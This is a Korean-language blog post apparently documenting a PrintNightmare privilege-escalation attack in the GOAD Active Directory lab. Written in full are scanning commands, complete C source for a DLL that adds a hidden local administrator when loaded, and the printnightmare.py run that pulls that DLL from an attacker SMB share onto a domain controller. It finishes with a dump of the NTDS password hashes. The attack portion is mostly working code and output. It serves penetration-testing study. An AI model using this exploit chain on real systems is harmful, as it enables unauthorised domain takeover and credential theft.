Post

GOAD PrintNightmare

이번 포스팅에서는 CVE-2021-1675, CVE-2021-34527를 이용한 권한 상승 트릭인 PrintNightmare를 통한 권한 상승을 포스팅한다.

PrintNightmare

PrintNightmare는 RpcAddPrinterDriver의 결함으로 원격 인쇄와 드라이버 설치가 가능한 취약점으로 자세한 내용은 numanturle/PrintNightmare 또는 HackTricks-PrintNightmare에서 확인해 볼 수 있다.

Requirements

PrintNightmare 취약점이 성공하기 위해서 아래 조건이 필요하다.

  • Spooler Service 활성화 (필수)
  • 2021년 6월 이후 패치되지 않은 서버
  • Pre Windows 2000 Compatibility 그룹이 있는 도메인 컨트롤러
  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall 레지스트리가 0(DWORD)
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 레지스트리가 0(DWORD)

Exploit

위 PrintNightmare의 필수 요구사항 중 Spooler Service가 활성화된 대상을 찾기위해선 아래와 같이 netexec의 SMB 커멘드 모듈인 spooler를 통해 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'spooler'
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB         192.168.56.10   445    KINGSLANDING     [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB         192.168.56.12   445    MEEREEN          [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SPOOLER     192.168.56.10   445    KINGSLANDING     Spooler service enabled
SPOOLER     192.168.56.11   445    WINTERFELL       Spooler service enabled
SPOOLER     192.168.56.12   445    MEEREEN          Spooler service enabled
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

하지만 printnightmare 모듈을 사용한다면 좀더 정확하게 취약한지 여부를 파악할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'printnightmare'
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    MEEREEN          [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.12   445    MEEREEN          Vulnerable, next step https://github.com/ly4k/PrintNightmare
SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.11   445    WINTERFELL       Vulnerable, next step https://github.com/ly4k/PrintNightmare
SMB         192.168.56.10   445    KINGSLANDING     [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.10   445    KINGSLANDING     Vulnerable, next step https://github.com/ly4k/PrintNightmare
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

또 다른 방식으로는 Impacket의 rpcdump.py를 통해서도 확인이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.11 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.12 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

3개의 DC가 모두 취약한것으로 파악된다. 이번엔 meereen.essos.local DC를 대상으로 공격을 진행한다. 진행에 앞서 새로운 관리자 계정을 생성하는 아래 코드를 DLL로 빌드하여 Spooler에 로드할 DLL을 준비한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
/*
 * ADDUSER.C: creating a Windows user programmatically.
 */

#define UNICODE
#define _UNICODE

#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>


DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;    // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    // Create user
    memset(&ud, 0, sizeof(ud));

    ud.usri1_name        = _T("juicemon");                // username
    ud.usri1_password    = _T("123456");             // password
    ud.usri1_priv        = USER_PRIV_USER;                   // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags       = UF_SCRIPT | UF_NORMAL_ACCOUNT;    // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,            // local server
        1,                // information level
        (LPBYTE)&ud,
        NULL            // error value
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

   _tprintf(_T("NetUserAdd OK\r\n"), rc, rc);

    // Get user SID
    b = LookupAccountName(
        NULL,            // local server
        ud.usri1_name,   // account name
        Sid,             // SID
        &cbSid,          // SID size
        Domain,          // Domain
        &cbDomain,       // Domain size
        &snu             // SID_NAME_USE (enum)
    );

    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }

    // Add user to "Administrators" local group
    memset(&gd, 0, sizeof(gd));

    gd.lgrmi0_sid = (PSID)Sid;

    rc = NetLocalGroupAddMembers(
        NULL,                    // local server
        _T("Administrators"),
        0,                        // information level
        (LPBYTE)&gd,
        1                        // only one entry
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    return 0;
}

//
// DLL entry point.
//

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif

__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    CreateAdminUserInternal();
}

#ifdef __cplusplus
}
#endif

// Command-line entry point.
int main()
{
    return CreateAdminUserInternal();
}

해당 코드를 MinGW를 통해 빌드 후 SMB를 통해 해당 DLL를 MEEREEN에서 다운로드할 수 있도록 SMB 서버를 구성한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# x86_64-w64-mingw32-gcc -shared -o adduser.dll adduser.c -lnetapi32

┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-smbserver share . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

모든 준비가 끝났으니 ly4k/PrintNightmare를 사용하여 생성한 DLL을 로드할 수 있도록한다.

모든 테스트가 마무리되면 MEEREEN의 C:\Windows\System32\spool\drivers\x64\3\old\1\adduser.dll를 삭제해주자

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/…/GOAD/Vuln/PrintNightmare/PrintNightmare]
└─# python3 printnightmare.py -dll '\\192.168.56.31\share\adduser.dll' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane@meereen.essos.local'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_e233a12d01c18082\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\192.168.56.31\\share\\adduser.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL from: C:\Windows\System32\spool\drivers\x64\3\old\1\adduser.dll

실제로 ‘juicemon’이라는 관리자 계정이 생성됐는지 아래와 같이 확인할 수 있으며 NTDS 덤프까지 가능한것을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec winrm '192.168.56.12' -u 'juicemon' -p '123456'
SMB         192.168.56.12   445    MEEREEN          [*] Windows 10.0 Build 14393 (name:MEEREEN) (domain:essos.local)
WINRM       192.168.56.12   5985   MEEREEN          [+] essos.local\juicemon:123456 (Pwn3d!)

┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec smb '192.168.56.12' -u 'juicemon' -p '123456' --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB         192.168.56.12   445    MEEREEN          [+] essos.local\juicemon:123456 (Pwn3d!)
SMB         192.168.56.12   445    MEEREEN          [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.56.12   445    MEEREEN          Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
SMB         192.168.56.12   445    MEEREEN          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.12   445    MEEREEN          krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8f0d6bcacf5517689f510abbd804bd6d:::
SMB         192.168.56.12   445    MEEREEN          DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.12   445    MEEREEN          vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB         192.168.56.12   445    MEEREEN          daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
SMB         192.168.56.12   445    MEEREEN          viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
SMB         192.168.56.12   445    MEEREEN          khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
SMB         192.168.56.12   445    MEEREEN          jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
SMB         192.168.56.12   445    MEEREEN          sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
SMB         192.168.56.12   445    MEEREEN          pnightmare:1115:aad3b435b51404eeaad3b435b51404ee:58cf12d7448ca3ea7da502c83ee6a31e:::
SMB         192.168.56.12   445    MEEREEN          pnightmare2:1116:aad3b435b51404eeaad3b435b51404ee:c103cafa49983dbcf3d8a1c951f46347:::
SMB         192.168.56.12   445    MEEREEN          juicemon:1117:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SMB         192.168.56.12   445    MEEREEN          MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:5f906acd20c947d558bb59bb9c81839d:::
SMB         192.168.56.12   445    MEEREEN          BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:289ac5dd916eb5acbe73c627d5f38b10:::
SMB         192.168.56.12   445    MEEREEN          SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:7e1a25051b4fd81640cd5b1182f522d6:::
SMB         192.168.56.12   445    MEEREEN          [+] Dumped 16 NTDS hashes to /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds of which 13 were added to the database
SMB         192.168.56.12   445    MEEREEN          [*] To extract only enabled accounts from the output file, run the following command:
SMB         192.168.56.12   445    MEEREEN          [*] cat /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds | grep -iv disabled | cut -d ':' -f1
SMB         192.168.56.12   445    MEEREEN          [*] grep -iv disabled /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds | cut -d ':' -f1

특정 서버에 접근하여 권한 상승이 필요할 경우 위와 같은 방식보단 John Hammond가 제작한 calebstewart/CVE-2021-1675를 사용하는것이 빠를 수 있다.

이렇게 PrintNightmare 취약점을 다뤄보았고 이번 포스팅은 여기서 마무리한다 :)

This post is licensed under CC BY 4.0 by the author.